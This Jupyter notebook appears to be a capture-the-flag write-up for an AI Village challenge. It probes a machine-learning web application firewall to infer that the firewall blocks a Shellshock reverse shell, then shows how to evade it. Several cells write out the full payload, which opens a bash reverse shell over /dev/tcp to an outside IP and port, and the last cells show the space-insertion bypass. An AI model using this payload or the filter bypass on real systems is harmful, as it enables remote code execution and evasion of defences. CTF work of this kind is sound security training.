{"metadata":{"kernelspec":{"language":"python","display_name":"Python 3","name":"python3"},"language_info":{"pygments_lexer":"ipython3","nbconvert_exporter":"python","version":"3.6.4","file_extension":".py","codemirror_mode":{"name":"ipython","version":3},"name":"python","mimetype":"text/x-python"}},"nbformat_minor":4,"nbformat":4,"cells":[{"cell_type":"markdown","source":"# WAF (id: waf) -- 500 Points\n\n### Scenario\n\nA ML model has been built to detect a 0-day. This model is used by a Web Application Firewall to block malicious requests.\n\n### Objective\n\nThe goal of the challenge is to discover what the 0-day is by what it is blocking, and then bypass the WAF to exploit the system.\n\nPS: The WAF assesses malicious strings in 5 characters blocks.","metadata":{}},{"cell_type":"code","source":"import pandas as pd\nimport numpy as np\nimport os\nimport requests\nfrom IPython.display import Image as Ima\nfrom IPython.display import clear_output, display\nfrom PIL import Image as Im\nfrom PIL import ImageOps\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nimport joblib\nimport matplotlib.pyplot as plt\nimport json\nimport base64\nimport shutil\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\ndir_name = \"/kaggle/input/ai-village-ctf\"","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:04:33.753968Z","iopub.execute_input":"2022-09-12T09:04:33.754439Z","iopub.status.idle":"2022-09-12T09:04:35.784694Z","shell.execute_reply.started":"2022-09-12T09:04:33.754400Z","shell.execute_reply":"2022-09-12T09:04:35.783356Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"input = \"mFzaCC==\"\ndata = json.dumps(\n    {\"input\": input}\n)\n\nprint(\" \" * 5 + bin(int(base64.b64decode(input).hex(), 16)))\nprint(bin(int(bytes(\"bash\", \"ascii\").hex(), 16)))","metadata":{"_uuid":"8f2839f25d086af736a60e9eeb907d3b93b6e0e5","_cell_guid":"b1076dfc-b9ad-4769-8c92-a6c4dae69d19","execution":{"iopub.status.busy":"2022-09-12T09:04:35.787035Z","iopub.execute_input":"2022-09-12T09:04:35.787596Z","iopub.status.idle":"2022-09-12T09:04:35.794940Z","shell.execute_reply.started":"2022-09-12T09:04:35.787544Z","shell.execute_reply":"2022-09-12T09:04:35.793540Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"The sample input \"mFzaC==\" is broken as base64, but \"mFzaCC==\" can be decoded to a fragment of \"bash\".\n\nThis means the exploit is related to a remote code execution (RCE).\n\nAfter googling, I found this WAF blocks \"shellshock\" (CVE-2014-6271).","metadata":{}},{"cell_type":"code","source":"request = \"() { :; };\"\ninput = base64.b64encode(request.encode(\"ascii\")).decode()\ndata = json.dumps(\n    {\"input\": input}\n)\nprint(request, input, end=\" \")\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:07:37.071206Z","iopub.execute_input":"2022-09-12T09:07:37.071663Z","iopub.status.idle":"2022-09-12T09:07:37.236522Z","shell.execute_reply.started":"2022-09-12T09:07:37.071625Z","shell.execute_reply":"2022-09-12T09:07:37.235178Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"But WAF allows some payloads with certain paddings like below:","metadata":{}},{"cell_type":"code","source":"for request in [\"/bin/bash\", \" /bin/bash\", \"  /bin/bash\", \"   /bin/bash\"]:\n    input = base64.b64encode(request.encode(\"ascii\")).decode()\n    data = json.dumps(\n        {\"input\": input}\n    )\n    print(request, input, end=\" \")\n\n    try:\n        r = requests.post(\"https://waf.fly.dev/score\", data=data)\n        print(r.text)\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:08:05.799218Z","iopub.execute_input":"2022-09-12T09:08:05.799684Z","iopub.status.idle":"2022-09-12T09:08:06.449113Z","shell.execute_reply.started":"2022-09-12T09:08:05.799644Z","shell.execute_reply":"2022-09-12T09:08:06.447835Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"In order to efficiently probe the correct payload, I built the query which contains the given payload with all possible paddings. ","metadata":{}},{"cell_type":"code","source":"def create_request_block(word):\n    assert len(word) == 5\n    padding = \"xxx\"\n    request = word[1:] + padding + word + padding + padding + word + padding + word[:4]\n    word_bin = bin(int(bytes(word, \"ascii\").hex(), 16))[2:]\n    word_bin = \"0\" * (-len(word_bin) % 8) + word_bin\n    malicious_words = [\n        (word[1:4], word_bin[32:38]),\n        (word_bin[6:8], word[1:4], word_bin[32:36]),\n        (word_bin[4:8], word[1:4], word_bin[32:34]),\n        (word_bin[2:8], word[1:4])\n    ]\n    return request, malicious_words","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:11:13.135723Z","iopub.execute_input":"2022-09-12T09:11:13.136131Z","iopub.status.idle":"2022-09-12T09:11:13.144969Z","shell.execute_reply.started":"2022-09-12T09:11:13.136097Z","shell.execute_reply":"2022-09-12T09:11:13.144031Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"Base64 maps 3 bytes of input to 4 symbols, and WAF collects 5 symbols (equivalent to 3.75 bytes) for each block. So payloads will be split into these four patterns:\n\n* 3 bytes + higher 6 bits\n* lower 2 bits + 3 bytes + higher 4 bits\n* lower 4 bits + 3 bytes + higher 2 bits\n* lower 6 bits + 3 bytes\n\n`create_request_block` covers all these patterns. So when `word` is contained in the training set for WAF, `create_request_block(word)` must be blocked by WAF.","metadata":{}},{"cell_type":"code","source":"def test(word, verbose=False):\n    request, malicious_words = create_request_block(word)\n    \n    input = base64.b64encode(request.encode(\"ascii\")).decode()\n    data = json.dumps(\n        {\"input\": input}\n    )\n    try:\n        r = requests.post(\"https://waf.fly.dev/score\", data=data)\n        if verbose:\n            print(r.text)\n        if \"MALICIOUS\" in r.text:\n            malicious_index = len(r.json()[\"output\"]) - 1\n            assert malicious_index in [0, 2, 5, 7]\n            print(\"MALICIOUS: \", r.json()[\"output\"][-1], malicious_words[malicious_index % 4])\n        else:\n            print(\"SAFE\")\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:45:55.105192Z","iopub.execute_input":"2022-09-12T09:45:55.105891Z","iopub.status.idle":"2022-09-12T09:45:55.113900Z","shell.execute_reply.started":"2022-09-12T09:45:55.105846Z","shell.execute_reply":"2022-09-12T09:45:55.112907Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"test(\"bash/\")\ntest(\"/bin/\")\ntest(\"/dev/\")\ntest(\"/tcp/\")\ntest(\" 0>&1\")\ntest(\"0>&1 \")\ntest(\" >&  \")\ntest(\" -i  \")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:25:35.240755Z","iopub.execute_input":"2022-09-12T09:25:35.241217Z","iopub.status.idle":"2022-09-12T09:25:36.542283Z","shell.execute_reply.started":"2022-09-12T09:25:35.241174Z","shell.execute_reply":"2022-09-12T09:25:36.540463Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"I found \"tcp\" is blocked by WAF, which means WAF also blocks \"reverse shell\" scripts.\n\nReverse shell is used when you want the target computer to execute bash scripts interactively.\n\nSo the whole payload that WAF blocks may be:\n\n```\n() { :; }; /bin/bash -i &> /dev/tcp/{attacker's IP}/{attacker's port} 0>&1\n```\n\nThis script forces the victim to open a TCP connection to the attacker and create a bash session.\n(**DO NOT TRY IT ON OTHER PEOPLE'S COMPUTERS. IT IS ILLEGAL.**)\n\nNext, I have to find the attacker's IP and port.","metadata":{}},{"cell_type":"code","source":"def number_search(template, xmin, xmax, verbose=False):\n    request = \"\"\n    words = []\n    for i in range(xmin, xmax):\n        r, w = create_request_block(template.format(i))\n        request += r\n        words.append(w)\n\n    input = base64.b64encode(request.encode(\"ascii\")).decode()\n    data = json.dumps(\n        {\"input\": input}\n    )\n    try:\n        r = requests.post(\"https://waf.fly.dev/score\", data=data)\n        if verbose:\n            print(r.text)\n        if \"MALICIOUS\" in r.text:\n            malicious_index = len(r.json()[\"output\"]) - 1\n            assert malicious_index%8 in [0, 2, 5, 7]\n            print(\"MALICIOUS: \", r.json()[\"output\"][-1], words[malicious_index // 8][malicious_index % 4])\n        else:\n            print(\"SAFE\")\n\n    except requests.exceptions.ConnectionError:\n        print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:39:16.094993Z","iopub.execute_input":"2022-09-12T09:39:16.095833Z","iopub.status.idle":"2022-09-12T09:39:16.106695Z","shell.execute_reply.started":"2022-09-12T09:39:16.095789Z","shell.execute_reply":"2022-09-12T09:39:16.105643Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"number_search(\"/{:3d}.\", 100, 256)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:39:44.683492Z","iopub.execute_input":"2022-09-12T09:39:44.683919Z","iopub.status.idle":"2022-09-12T09:39:45.996815Z","shell.execute_reply.started":"2022-09-12T09:39:44.683885Z","shell.execute_reply":"2022-09-12T09:39:45.995588Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"number_search(\"{:3d}/ \", 100, 256)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:02:47.197492Z","iopub.execute_input":"2022-09-12T10:02:47.198510Z","iopub.status.idle":"2022-09-12T10:02:48.475508Z","shell.execute_reply.started":"2022-09-12T10:02:47.198464Z","shell.execute_reply":"2022-09-12T10:02:48.474209Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"test(\" /227\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:41:52.155359Z","iopub.execute_input":"2022-09-12T09:41:52.155781Z","iopub.status.idle":"2022-09-12T09:41:52.321278Z","shell.execute_reply.started":"2022-09-12T09:41:52.155742Z","shell.execute_reply":"2022-09-12T09:41:52.320163Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"number_search(\"7.{:3d}\", 100, 256)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:40:06.703801Z","iopub.execute_input":"2022-09-12T09:40:06.704229Z","iopub.status.idle":"2022-09-12T09:40:07.927050Z","shell.execute_reply.started":"2022-09-12T09:40:06.704192Z","shell.execute_reply":"2022-09-12T09:40:07.925852Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"number_search(\"27.{:d}.\", 0, 10)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T10:01:32.584021Z","iopub.execute_input":"2022-09-12T10:01:32.584443Z","iopub.status.idle":"2022-09-12T10:01:33.467860Z","shell.execute_reply.started":"2022-09-12T10:01:32.584406Z","shell.execute_reply":"2022-09-12T10:01:33.466522Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"number_search(\".22.{:d}\", 0, 10)\nnumber_search(\".22/{:d}\", 0, 10)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:40:18.510507Z","iopub.execute_input":"2022-09-12T09:40:18.510906Z","iopub.status.idle":"2022-09-12T09:40:19.017381Z","shell.execute_reply.started":"2022-09-12T09:40:18.510873Z","shell.execute_reply":"2022-09-12T09:40:19.016151Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"test(\"227.2\")\ntest(\"27.20\")\ntest(\"7.22.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:40:28.420773Z","iopub.execute_input":"2022-09-12T09:40:28.421175Z","iopub.status.idle":"2022-09-12T09:40:28.882758Z","shell.execute_reply.started":"2022-09-12T09:40:28.421140Z","shell.execute_reply":"2022-09-12T09:40:28.881533Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"It seems the attacker's IP contains (\"227\", \"/22\", \"27.\", \"7.2\", \".22\", \"27/\"), but I couldn't find other malicious numbers.\n\nI assumed the IP is \"227.227.227.227\".","metadata":{}},{"cell_type":"code","source":"number_search(\"/{:3d}.\", 228, 1000) # Note that '/' == 0x2f, '.' == 0x2e","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:44:18.528756Z","iopub.execute_input":"2022-09-12T09:44:18.529139Z","iopub.status.idle":"2022-09-12T09:44:20.504114Z","shell.execute_reply.started":"2022-09-12T09:44:18.529106Z","shell.execute_reply":"2022-09-12T09:44:20.502942Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"number_search(\"420{:d} \", 0, 10)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:46:49.641736Z","iopub.execute_input":"2022-09-12T09:46:49.642123Z","iopub.status.idle":"2022-09-12T09:46:49.806206Z","shell.execute_reply.started":"2022-09-12T09:46:49.642090Z","shell.execute_reply":"2022-09-12T09:46:49.804861Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"code","source":"number_search(\"420{:02d}\", 0, 100)","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:44:56.814694Z","iopub.execute_input":"2022-09-12T09:44:56.815915Z","iopub.status.idle":"2022-09-12T09:44:57.916849Z","shell.execute_reply.started":"2022-09-12T09:44:56.815861Z","shell.execute_reply":"2022-09-12T09:44:57.915419Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"It seems the port is 4200. So I think the whole payload is:","metadata":{}},{"cell_type":"code","source":"request = \"() { :; }; /bin/bash -i &> /dev/tcp/227.227.227.227/4200 0>&1\"\ninput = base64.b64encode(request.encode(\"ascii\")).decode()\ndata = json.dumps(\n    {\"input\": input}\n)\nprint(request, input, end=\" \")\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:51:46.336969Z","iopub.execute_input":"2022-09-12T09:51:46.337369Z","iopub.status.idle":"2022-09-12T09:51:46.495945Z","shell.execute_reply.started":"2022-09-12T09:51:46.337333Z","shell.execute_reply":"2022-09-12T09:51:46.494635Z"},"trusted":true},"execution_count":null,"outputs":[]},{"cell_type":"markdown","source":"You can use some tricks to bypass the WAF. For example, you can replace \".\" with \"\\x2e\".\n\nBut in this task you don't need such tricks.  The necessary trick is just inserting a space for each block.","metadata":{}},{"cell_type":"code","source":"request = \"() { :;};\"\ninput = base64.b64encode(request.encode(\"ascii\")).decode()\ninput2 = \"\"\nfor i in range(0, len(input), 4):\n    input2 += \" \" + input[i:i+4]\ndata = json.dumps(\n    {\"input\": input2}\n)\nprint(request, input2)\n\ntry:\n    r = requests.post(\"https://waf.fly.dev/score\", data=data)\n    print(r.text)\n    if \"MALICIOUS\" in r.text:\n        index = len(r.json()[\"output\"])-1\n        byte = index * 5 * 3 // 4\n        print(request[byte:byte+4])\nexcept requests.exceptions.ConnectionError:\n    print(\"Connection problems. Contact the CTF organizers.\")","metadata":{"execution":{"iopub.status.busy":"2022-09-12T09:56:26.175506Z","iopub.execute_input":"2022-09-12T09:56:26.175903Z","iopub.status.idle":"2022-09-12T09:56:26.335143Z","shell.execute_reply.started":"2022-09-12T09:56:26.175869Z","shell.execute_reply":"2022-09-12T09:56:26.333917Z"},"trusted":true},"execution_count":null,"outputs":[]}]}